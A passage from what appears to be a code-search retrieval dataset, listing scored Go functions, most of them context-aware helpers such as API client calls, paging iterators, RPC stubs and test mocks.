"title": "" }, { "docid": "d85b8355b52f29e13a8c3d84412c6b75", "score": "0.48519987", "text": "func OpenWithContext(ctx context.Context, driver, sources string) (*DB, error) {\n\treturn openContextConnection(ctx, driver, sources, \"\")\n}", "title": "" }, { "docid": "cb015e8232bb0335c33c0ba6b2321662", "score": "0.48505193", "text": "func NewGetImageFromDefaultWithRuntimeParamsWithHTTPClient(client *http.Client) *GetImageFromDefaultWithRuntimeParams {\n\tvar ()\n\treturn &GetImageFromDefaultWithRuntimeParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "d5970445ec5c20fd9853fb24d7b40aa2", "score": "0.4804688", "text": "func (a *Client) GetImageFromDefaultWithRuntime(params *GetImageFromDefaultWithRuntimeParams) (*GetImageFromDefaultWithRuntimeOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetImageFromDefaultWithRuntimeParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"getImageFromDefaultWithRuntime\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/v4/{workspaceId}/image_catalogs/image/type/{type}/provider/{provider}/runtime/{runtime}/govCloud/{govCloud}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &GetImageFromDefaultWithRuntimeReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*GetImageFromDefaultWithRuntimeOK), nil\n\n}", "title": "" }, { "docid": "ab744e1a4eb1eb302686941dafb01673", "score": "0.47990257", "text": "func SetWithContext(ctx context.Context, namespace, key string, value interface{}) {\n\tif storage, ok := ctx.Value(ContextKey).(Storage); ok {\n\t\t// Storage onboard, set value.\n\t\tstorage.Set(namespace, key, value)\n\t}\n}", "title": "" }, { "docid": "c7ce6355e2bdbde35c04a7f5fdedec85", "score": "0.47634095", "text": "func NewMockDefaultWithContext(context []string) *Mock {\n\tctx := new(Mock)\n\tlog := logmocks.NewMockLogWithContext(strings.Join(context, \"\"))\n\tconfig := appconfig.SsmagentConfig{}\n\tagentIdentity := identityMocks.NewDefaultMockAgentIdentity()\n\tappconst := appconfig.AppConstants{\n\t\tMinHealthFrequencyMinutes: appconfig.DefaultSsmHealthFrequencyMinutesMin,\n\t\tMaxHealthFrequencyMinutes: appconfig.DefaultSsmHealthFrequencyMinutesMax,\n\t}\n\tctx.On(\"Log\").Return(log)\n\tctx.On(\"AppConfig\").Return(config)\n\tctx.On(\"With\", mock.AnythingOfType(\"string\")).Return(ctx)\n\tctx.On(\"CurrentContext\").Return(context)\n\tctx.On(\"Identity\").Return(agentIdentity)\n\tctx.On(\"AppConstants\").Return(&appconst)\n\treturn ctx\n}", "title": "" }, { "docid": "c925e407e18f508e581545e15dce6df0", "score": "0.47630566", "text": "func PayloadWithContext(ctx context.Context, payload interface{}) context.Context {\n\treturn context.WithValue(ctx, PayloadCtxKey, payload)\n}", "title": "" }, { "docid": "6f3b71b194c58fbfdc40812ce9c14c23", "score": "0.4761769", "text": "func (r *Requester) GetWithContext(ctx context.Context, path string, opts ...Opt) (resp *http.Response, err error) {\n\treturn r.RequestWithContext(ctx, http.MethodGet, path, nil, opts)\n}", "title": "" }, { "docid": "46797e254a9ca1c47e9abc920d1e85db", "score": "0.4744907", "text": "func (page *PublicIPAddressListResultPage) NextWithContext(ctx context.Context) (err error) {\n\tnext, err := page.fn(ctx, page.pialr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpage.pialr = next\n\treturn nil\n}", "title": "" }, { "docid": "c671865b1b5b3848e97f355ff0d8d7b4", "score": "0.47300482", "text": "func (client *lockRESTClient) callWithContext(ctx context.Context, method string, values url.Values, body io.Reader, length int64) (respBody io.ReadCloser, err error) {\n\tif values == nil {\n\t\tvalues = make(url.Values)\n\t}\n\n\trespBody, err = client.restClient.Call(ctx, method, values, body, length)\n\tif err == nil {\n\t\treturn respBody, nil\n\t}\n\n\treturn nil, toLockError(err)\n}", "title": "" }, { "docid": "0b60c15c26b2839698632142308292e7", "score": "0.47267064", "text": "func (_obj *WebApiNoAuth) PreviewWithContext(tarsCtx context.Context, id int32, res *Preview_res, _opt ...map[string]string) (err error) {\n\n\tvar length int32\n\tvar have bool\n\tvar ty byte\n\t_os := codec.NewBuffer()\n\terr = _os.Write_int32(id, 1)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = (*res).WriteBlock(_os, 2)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar _status map[string]string\n\tvar _context map[string]string\n\tif len(_opt) == 1 {\n\t\t_context = _opt[0]\n\t} else if len(_opt) == 2 {\n\t\t_context = _opt[0]\n\t\t_status = _opt[1]\n\t}\n\t_resp := new(requestf.ResponsePacket)\n\n\terr = _obj.s.Tars_invoke(tarsCtx, 0, \"Preview\", _os.ToBytes(), _status, _context, _resp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_is := codec.NewReader(tools.Int8ToByte(_resp.SBuffer))\n\terr = (*res).ReadBlock(_is, 2, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(_opt) == 1 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t} else if len(_opt) == 2 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t\tfor k := range _status {\n\t\t\tdelete(_status, k)\n\t\t}\n\t\tfor k, v := range _resp.Status {\n\t\t\t_status[k] = v\n\t\t}\n\n\t}\n\t_ = length\n\t_ = have\n\t_ = ty\n\treturn nil\n}", "title": "" }, { "docid": "e74cd21c29b070b99436ac8b0646858b", "score": "0.47009778", "text": "func (page * X509CertificateChainAPIModelPage) NextWithContext(ctx context.Context) (err error) {\n if tracing.IsEnabled() {\n ctx = tracing.StartSpan(ctx, fqdn + \"/X509CertificateChainAPIModelPage.NextWithContext\")\n defer func() {\n sc := -1\n if page.Response().Response.Response != nil {\n sc = page.Response().Response.Response.StatusCode\n }\n tracing.EndSpan(ctx, sc, err)\n }()\n }\n next, err := page.fn(ctx, page.xccam)\n if err != nil {\n return err\n }\n page.xccam = next\n return nil\n }", "title": "" }, { "docid": "1a0539a65e26b98129d3c54e41731ed6", "score": "0.4685797", "text": "func (sle *impl) WithContext(ctx context.Context) Interface {\n\tif ctx == nil {\n\t\treturn sle\n\t}\n\tsle.ctx = ctx\n\treturn sle\n}", "title": "" }, { "docid": "e614d2297f0839919beb2a6245471a19", "score": "0.46838593", "text": "func RunWithContext(ctxt context.Context, f func(*E)) (err error) {\n\treturn Default.RunWithContext(ctxt, f)\n}", "title": "" }, { "docid": "195861473f0388b645823602178642fd", "score": "0.4672168", "text": "func (m *MockServicer) GetWithContext(arg0 context.Context, arg1 string, arg2 ...*types.Pair) (storage.Storager, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetWithContext\", varargs...)\n\tret0, _ := ret[0].(storage.Storager)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "5d1883c90523a025b09e85cbc1378ddc", "score": "0.46659988", "text": "func FetchOctpassMetadataWithContext(ctx context.Context, tokenURI string) (*OctpassMetadata, error) {\n\tclient := new(http.Client)\n\treq, err := http.NewRequestWithContext(ctx, \"GET\", tokenURI, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Add(\"Accept\", \"application/json\")\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"Status: %d, msg: %s\", resp.StatusCode, string(body))\n\t}\n\n\treturn UnmarshalOctpassMetadata(body)\n}", "title": "" }, { "docid": "6b072bede4c59634e200663a5a0e7e2f", "score": "0.4653079", "text": "func ExtendOptionWithContext(c context.Context) ExtendOption {\n\treturn func(o *extendOptions) error {\n\t\tif o == nil {\n\t\t\treturn errors.New(errors.KsiInvalidArgumentError).AppendMessage(\"Missing sign options object.\")\n\t\t}\n\t\tif c == nil {\n\t\t\treturn errors.New(errors.KsiInvalidArgumentError).AppendMessage(\"Missing context.\")\n\t\t}\n\t\to.context = c\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "758210cf7bfcb66ae0347a2b3cea47fe", "score": "0.46504995", "text": "func RequestWithContext(ctx context.Context, req *http.Request) *http.Request {\n\turl := req.URL\n\treq.URL = nil\n\treqCopy := req.WithContext(ctx)\n\treqCopy.URL = url\n\treq.URL = url\n\treturn reqCopy\n}", "title": "" }, { "docid": "d7dd18747cc99354f7294f45882d1e66", "score": "0.46034783", "text": "func (_obj *WebApiNoAuth) GetCaptchaWithContext(tarsCtx context.Context, res *GetCaptcha_res, _opt ...map[string]string) (err error) {\n\n\tvar length int32\n\tvar have bool\n\tvar ty byte\n\t_os := codec.NewBuffer()\n\terr = (*res).WriteBlock(_os, 1)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvar _status map[string]string\n\tvar _context map[string]string\n\tif len(_opt) == 1 {\n\t\t_context = _opt[0]\n\t} else if len(_opt) == 2 {\n\t\t_context = _opt[0]\n\t\t_status = _opt[1]\n\t}\n\t_resp := new(requestf.ResponsePacket)\n\n\terr = _obj.s.Tars_invoke(tarsCtx, 0, \"GetCaptcha\", _os.ToBytes(), _status, _context, _resp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_is := codec.NewReader(tools.Int8ToByte(_resp.SBuffer))\n\terr = (*res).ReadBlock(_is, 1, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(_opt) == 1 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t} else if len(_opt) == 2 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t\tfor k := range _status {\n\t\t\tdelete(_status, k)\n\t\t}\n\t\tfor k, v := range _resp.Status {\n\t\t\t_status[k] = v\n\t\t}\n\n\t}\n\t_ = length\n\t_ = have\n\t_ = ty\n\treturn nil\n}", "title": "" }, { "docid": "f53092693c5834bc9b0a3b010f53372d", "score": "0.45914227", "text": "func NewGetImageFromDefaultWithRuntimeParamsWithContext(ctx context.Context) *GetImageFromDefaultWithRuntimeParams {\n\tvar ()\n\treturn &GetImageFromDefaultWithRuntimeParams{\n\n\t\tContext: ctx,\n\t}\n}", "title": "" }, { "docid": "a2a31f82eecdae3b239885a2f9e2f4a7", "score": "0.4586704", "text": "func (c *Client) GetWithContext(ctx context.Context, endpoint string, params url.Values) (*roundtrip.Response, error) {\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"endpoint\": endpoint,\n\t\ttrace.Component: \"opsclient\",\n\t}).Debug(\"[GET] api request\")\n\n\tdefer func(started time.Time) {\n\t\tlogrus.WithFields(logrus.Fields{\n\t\t\t\"endpoint\": endpoint,\n\t\t\t\"duration\": time.Since(started),\n\t\t\ttrace.Component: \"opsclient\",\n\t\t}).Debug(\"[GET] api response\")\n\t}(time.Now())\n\n\treturn telehttplib.ConvertResponse(c.Client.Get(ctx, endpoint, params))\n}", "title": "" }, { "docid": "50a6c600603c24870a00504d5e869c49", "score": "0.4569463", "text": "func (o *GetGalleryWidgetsItemParams) WithContext(ctx context.Context) *GetGalleryWidgetsItemParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "db8dc10123488c7dc148d0306034faa0", "score": "0.4569299", "text": "func WithContext(ctx context.Context) Option {\n\treturn func(o *options) {\n\t\to.remote = append(o.remote, remote.WithContext(ctx))\n\t\to.google = append(o.google, google.WithContext(ctx))\n\t\to.crane = append(o.crane, crane.WithContext(ctx))\n\t}\n}", "title": "" }, { "docid": "0ec07197b9e645bfde25590379ba3d19", "score": "0.45461464", "text": "func (page * CertificateRequestQueryResponseAPIModelPage) NextWithContext(ctx context.Context) (err error) {\n if tracing.IsEnabled() {\n ctx = tracing.StartSpan(ctx, fqdn + \"/CertificateRequestQueryResponseAPIModelPage.NextWithContext\")\n defer func() {\n sc := -1\n if page.Response().Response.Response != nil {\n sc = page.Response().Response.Response.StatusCode\n }\n tracing.EndSpan(ctx, sc, err)\n }()\n }\n next, err := page.fn(ctx, page.crqram)\n if err != nil {\n return err\n }\n page.crqram = next\n return nil\n }", "title": "" }, { "docid": "1f9a662ad9d201bc9f32e59a67c10e24", "score": "0.4524706", "text": "func (c *EditsImagesListCall) Context(ctx context.Context) *EditsImagesListCall {\n\tc.ctx_ = ctx\n\treturn c\n}", "title": "" }, { "docid": "5fe349bddf404c3b8d6d8a91ade4476b", "score": "0.45156676", "text": "func GoWithContext(ctx context.Context, run runFuncC, fallback fallbackFuncC) chan error {\n\tcmd := &command{\n\t\trun: run,\n\t\tfallback: fallback,\n\t\tstart: time.Now(),\n\t\terrChan: make(chan error, 1),\n\t\tfinished: make(chan bool, 1),\n\t\treturnOnce: &sync.Once{},\n\t}\n\n\t// don't have methods with explicit params and returns\n\t// let data come in and out naturally, like with any closure\n\t// explicit error return to give place for us to kill switch the operation (fallback)\n\tcircuit, _, err := GetCircuit(ctx.Value(\"name\").(string))\n\tif err != nil {\n\t\tcmd.errChan <- err\n\t\treturn cmd.errChan\n\t}\n\tcmd.circuit = circuit\n\tticketCond := sync.NewCond(cmd)\n\n\tgo cmd.goRun(ticketCond, ctx)\n\tgo cmd.goWait(ticketCond, ctx)\n\n\treturn cmd.errChan\n}", "title": "" }, { "docid": "a810fa9fa1f29a3a94fb0e5743d58f32", "score": "0.45087302", "text": "func WaitWithContext(ctx context.Context, namespace, key string) {\n\tif storage, ok := ctx.Value(ContextKey).(Storage); ok {\n\t\t// Storage onboard, wait value.\n\t\tstorage.Wait(namespace, key)\n\t}\n}", "title": "" }, { "docid": "f721bf79bba7cccbf5e29bacf5a5923c", "score": "0.44976404", "text": "func (o *GetImageByIDParams) SetContext(ctx context.Context) {\n\to.Context = ctx\n}", "title": "" }, { "docid": "b406c23d43388bec647a29aa5d9ba440", "score": "0.4494409", "text": "func (o *ImagesStreamParams) WithContext(ctx context.Context) *ImagesStreamParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "03b3f6c542a1cd3965e99ea27def7999", "score": "0.44930178", "text": "func (s *SizedWaitGroup) AddWithContext(ctx context.Context) error {\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tcase s.current <- struct{}{}:\n\t\tbreak\n\t}\n\ts.wg.Add(1)\n\treturn nil\n}", "title": "" }, { "docid": "03b3f6c542a1cd3965e99ea27def7999", "score": "0.44930178", "text": "func (s *SizedWaitGroup) AddWithContext(ctx context.Context) error {\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tcase s.current <- struct{}{}:\n\t\tbreak\n\t}\n\ts.wg.Add(1)\n\treturn nil\n}", "title": "" }, { "docid": "4be38e2033715cfcb388ac1dd97442fb", "score": "0.4487446", "text": "func (page *ManagedInstanceKeyListResultPage) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/ManagedInstanceKeyListResultPage.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif page.Response().Response.Response != nil {\n\t\t\t\tsc = page.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tfor {\n\t\tnext, err := page.fn(ctx, page.miklr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpage.miklr = next\n\t\tif !next.hasNextLink() || !next.IsEmpty() {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "bd9886fab70ea5c86951dca0ed0bda7e", "score": "0.44603193", "text": "func (c *PhotoGetCall) Context(ctx context.Context) *PhotoGetCall {\n\tc.ctx_ = ctx\n\treturn c\n}", "title": "" }, { "docid": "3a200d14bfc1532d1ea71a53bda74b49", "score": "0.44461077", "text": "func (p *provider) InvokeWithContext(\n\tctx context.Context,\n\ttok tokens.ModuleMember,\n\targs resource.PropertyMap,\n) (resource.PropertyMap, []plugin.CheckFailure, error) {\n\tctx = p.initLogging(ctx, p.logSink, \"\")\n\n\thandle, err := p.datasourceHandle(ctx, tok)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\ttyp := handle.schema.Type().TerraformType(ctx).(tftypes.Object)\n\n\t// Transform args to apply Pulumi-level defaults.\n\targsWithDefaults := defaults.ApplyDefaultInfoValues(ctx, defaults.ApplyDefaultInfoValuesArgs{\n\t\tSchemaMap: handle.schemaOnlyShim.Schema(),\n\t\tSchemaInfos: handle.pulumiDataSourceInfo.GetFields(),\n\t\tPropertyMap: args,\n\t\tProviderConfig: p.lastKnownProviderConfig,\n\t})\n\n\tconfig, err := convert.EncodePropertyMapToDynamic(handle.encoder, typ, argsWithDefaults)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"cannot encode config to call ReadDataSource for %q: %w\",\n\t\t\thandle.terraformDataSourceName, err)\n\t}\n\n\tif failures, err := p.validateDataResourceConfig(ctx, handle, config); err != nil || len(failures) > 0 {\n\t\treturn nil, failures, err\n\t}\n\n\treturn p.readDataSource(ctx, handle, config)\n}", "title": "" }, { "docid": "9b70572336e980d53e9c6ea9e9c9de0f", "score": "0.44423613", "text": "func (c Client) FetchWithContext(context context.Context) (*FetchConfigurationResponse, error) {\n\top := client.Operation{\n\t\tMethod: http.MethodGet,\n\t\tURI: \"/Configuration\",\n\t}\n\n\tresponse := &FetchConfigurationResponse{}\n\tif err := c.client.Send(context, op, nil, response); err != nil {\n\t\treturn nil, err\n\t}\n\treturn response, nil\n}", "title": "" }, { "docid": "77cc855f23c46bc8d031aec2145180c8", "score": "0.44377255", "text": "func (f *FS) NewReaderWithContext(ctx context.Context, o string) (io.ReadCloser, error) {\n\treturn nil, ErrNotSupported\n}", "title": "" }, { "docid": "4ab7f6abbc852a7aa298debbf946765c", "score": "0.44345722", "text": "func (iter *LedgerDigestUploadsListResultIterator) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/LedgerDigestUploadsListResultIterator.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif iter.Response().Response.Response != nil {\n\t\t\t\tsc = iter.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\titer.i++\n\tif iter.i < len(iter.page.Values()) {\n\t\treturn nil\n\t}\n\terr = iter.page.NextWithContext(ctx)\n\tif err != nil {\n\t\titer.i--\n\t\treturn err\n\t}\n\titer.i = 0\n\treturn nil\n}", "title": "" }, { "docid": "8d5a6d1fedd44dd72740b7146671402a", "score": "0.4425746", "text": "func (o *GetImagePolicyCheckParams) WithContext(ctx context.Context) *GetImagePolicyCheckParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "a46ac37daf88b8c31f88b77cf71e4736", "score": "0.44213066", "text": "func (page *LedgerDigestUploadsListResultPage) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/LedgerDigestUploadsListResultPage.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif page.Response().Response.Response != nil {\n\t\t\t\tsc = page.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tfor {\n\t\tnext, err := page.fn(ctx, page.ldulr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpage.ldulr = next\n\t\tif !next.hasNextLink() || !next.IsEmpty() {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e088d584d2151d9d9672c455acae5555", "score": "0.4419094", "text": "func (iter * X509CertificateChainAPIModelIterator) NextWithContext(ctx context.Context) (err error) {\n if tracing.IsEnabled() {\n ctx = tracing.StartSpan(ctx, fqdn + \"/X509CertificateChainAPIModelIterator.NextWithContext\")\n defer func() {\n sc := -1\n if iter.Response().Response.Response != nil {\n sc = iter.Response().Response.Response.StatusCode\n }\n tracing.EndSpan(ctx, sc, err)\n }()\n }\n iter.i++\n if iter.i < len(iter. page.Values()) {\n return nil\n }\n err = iter.page.NextWithContext(ctx)\n if err != nil {\n iter. i--\n return err\n }\n iter.i = 0\n return nil\n }", "title": "" }, { "docid": "c508dee1e8c0c32587dff34b7b6e055e", "score": "0.44177443", "text": "func (mock *elasticacheClientMock) DescribeEngineDefaultParametersWithContextCalls() []struct {\n\tIn1 context.Context\n\tIn2 *elasticache.DescribeEngineDefaultParametersInput\n\tIn3 []request.Option\n} {\n\tvar calls []struct {\n\t\tIn1 context.Context\n\t\tIn2 *elasticache.DescribeEngineDefaultParametersInput\n\t\tIn3 []request.Option\n\t}\n\tlockelasticacheClientMockDescribeEngineDefaultParametersWithContext.RLock()\n\tcalls = mock.calls.DescribeEngineDefaultParametersWithContext\n\tlockelasticacheClientMockDescribeEngineDefaultParametersWithContext.RUnlock()\n\treturn calls\n}", "title": "" }, { "docid": "7add3c4e062a724c7033e42911e0d37b", "score": "0.44167337", "text": "func (client *Client) CallWithContext(serviceMethod string, ctx context.Context, args interface{}, reply interface{}) error {\n\tcall := <-client.GoWithContext(serviceMethod, ctx, args, reply, make(chan *Call, 1)).Done\n\treturn call.Error\n}", "title": "" }, { "docid": "d74cee1dcd8ccea6ba3263e3f4e9df10", "score": "0.44129044", "text": "func (c *Cmd) runWithContext(callback func() ([]byte, error)) ([]byte, error) {\n\toutputChan := make(chan ctxCmdOutput)\n\tgo func() {\n\t\toutput, err := callback()\n\t\toutputChan <- ctxCmdOutput{\n\t\t\toutput: output,\n\t\t\terr: err,\n\t\t}\n\t}()\n\n\tselect {\n\tcase <-c.Context.Done():\n\t\t_ = c.Session.Signal(ssh.SIGINT)\n\n\t\treturn nil, c.Context.Err()\n\tcase result := <-outputChan:\n\t\treturn result.output, result.err\n\t}\n}", "title": "" }, { "docid": "b032109370b09bf1cabc6b68547788d8", "score": "0.44120595", "text": "func (s *ImagesServiceOp) get(ctx context.Context, ID interface{}) (*Image, *Response, error) {\r\n\tpath := fmt.Sprintf(\"%s/%v\", imageBasePath, ID)\r\n\r\n\treq, err := s.client.NewRequest(ctx, \"GET\", path, nil)\r\n\tif err != nil {\r\n\t\treturn nil, nil, err\r\n\t}\r\n\r\n\troot := new(imageRoot)\r\n\tresp, err := s.client.Do(ctx, req, root)\r\n\tif err != nil {\r\n\t\treturn nil, resp, err\r\n\t}\r\n\r\n\treturn root.Image, resp, err\r\n}", "title": "" }, { "docid": "053d910f0bccb72b40c9abbf2a58cbf8", "score": "0.44050077", "text": "func (page *InstancePoolListResultPage) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/InstancePoolListResultPage.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif page.Response().Response.Response != nil {\n\t\t\t\tsc = page.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\tfor {\n\t\tnext, err := page.fn(ctx, page.iplr)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tpage.iplr = next\n\t\tif !next.hasNextLink() || !next.IsEmpty() {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ff14b4fbd7fdb253b18bf2b00b338024", "score": "0.43992823", "text": "func (client *Client) GoWithContext(serviceMethod string, ctx context.Context, args interface{}, reply interface{}, done chan *Call) *Call {\n\tcall := new(Call)\n\tcall.ServiceMethod = serviceMethod\n\tcall.ctx = ctx\n\tcall.ctxCancelerStop = make(chan struct{})\n\tcall.Args = args\n\tcall.Reply = reply\n\tif done == nil {\n\t\tdone = make(chan *Call, 10) // buffered.\n\t} else {\n\t\t// If caller passes done != nil, it must arrange that\n\t\t// done has enough buffer for the number of simultaneous\n\t\t// RPCs that will be using that channel. If the channel\n\t\t// is totally unbuffered, it's best not to run at all.\n\t\tif cap(done) == 0 {\n\t\t\tlog.Panic(\"rpc: done channel is unbuffered\")\n\t\t}\n\t}\n\tcall.Done = done\n\tclient.send(call)\n\treturn call\n}", "title": "" }, { "docid": "cc7ad3694cc0a1eb19e8d57779ac75f1", "score": "0.43942085", "text": "func (page * TrustGroupRegistrationListAPIModelPage) NextWithContext(ctx context.Context) (err error) {\n if tracing.IsEnabled() {\n ctx = tracing.StartSpan(ctx, fqdn + \"/TrustGroupRegistrationListAPIModelPage.NextWithContext\")\n defer func() {\n sc := -1\n if page.Response().Response.Response != nil {\n sc = page.Response().Response.Response.StatusCode\n }\n tracing.EndSpan(ctx, sc, err)\n }()\n }\n next, err := page.fn(ctx, page.tgrlam)\n if err != nil {\n return err\n }\n page.tgrlam = next\n return nil\n }", "title": "" }, { "docid": "c2cc06428e064398f5be2acdd00b97e5", "score": "0.43941534", "text": "func (page * X509CertificateListAPIModelPage) NextWithContext(ctx context.Context) (err error) {\n if tracing.IsEnabled() {\n ctx = tracing.StartSpan(ctx, fqdn + \"/X509CertificateListAPIModelPage.NextWithContext\")\n defer func() {\n sc := -1\n if page.Response().Response.Response != nil {\n sc = page.Response().Response.Response.StatusCode\n }\n tracing.EndSpan(ctx, sc, err)\n }()\n }\n next, err := page.fn(ctx, page.xclam)\n if err != nil {\n return err\n }\n page.xclam = next\n return nil\n }", "title": "" }, { "docid": "50b522701c058b234cb0eaf691d245cb", "score": "0.43875295", "text": "func (o *CreateCustomImageParams) SetContext(ctx context.Context) {\n\to.Context = ctx\n}", "title": "" }, { "docid": "08aba914160293bb89ab55cf847abc71", "score": "0.4383042", "text": "func (a *Client) GetImageFromDefault(params *GetImageFromDefaultParams) (*GetImageFromDefaultOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetImageFromDefaultParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"getImageFromDefault\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/v4/{workspaceId}/image_catalogs/image/type/{type}/provider/{provider}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &GetImageFromDefaultReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*GetImageFromDefaultOK), nil\n\n}", "title": "" }, { "docid": "08cb85322ff23cdda73a864e87094f8f", "score": "0.4375108", "text": "func (c Client) FetchWithContext(context context.Context) (*FetchPluginResponse, error) {\n\top := client.Operation{\n\t\tMethod: http.MethodGet,\n\t\tURI: \"/PluginService/Configurations/{configurationSid}/Plugins/{sid}\",\n\t\tPathParams: map[string]string{\n\t\t\t\"configurationSid\": c.configurationSid,\n\t\t\t\"sid\": c.sid,\n\t\t},\n\t}\n\n\tresponse := &FetchPluginResponse{}\n\tif err := c.client.Send(context, op, nil, response); err != nil {\n\t\treturn nil, err\n\t}\n\treturn response, nil\n}", "title": "" }, { "docid": "812c133106c5597578fc3aa39c41c66f", "score": "0.43709192", "text": "func (this *DockerregistryapiController) GetUserImage() {\n\tuser := this.GetString(\":user\")\n\trepo := this.GetString(\":repo\")\n\taddress := \"/repositories/\" + user + \"/\" + repo + \"/tags\"\n\tfmt.Println(address)\n\tresult := RequestRegistry(address, \"GET\")\n\tthis.Ctx.WriteString(result)\n}", "title": "" }, { "docid": "eb339ecf0ba7a1382e89b946c15b131b", "score": "0.43663973", "text": "func (c *ProjectsImageRedactCall) Context(ctx context.Context) *ProjectsImageRedactCall {\n\tc.ctx_ = ctx\n\treturn c\n}", "title": "" }, { "docid": "4c947977fc4a4e951fa7b77147e11218", "score": "0.43586108", "text": "func (iter *InstancePoolListResultIterator) NextWithContext(ctx context.Context) (err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/InstancePoolListResultIterator.NextWithContext\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif iter.Response().Response.Response != nil {\n\t\t\t\tsc = iter.Response().Response.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\titer.i++\n\tif iter.i < len(iter.page.Values()) {\n\t\treturn nil\n\t}\n\terr = iter.page.NextWithContext(ctx)\n\tif err != nil {\n\t\titer.i--\n\t\treturn err\n\t}\n\titer.i = 0\n\treturn nil\n}", "title": "" }, { "docid": "dfff6781ee856cbf844026ac368d25e9", "score": "0.43550366", "text": "func LogMsgWithContext(message string, ctx string, hook func(*LogEvent), inherits ...func(event 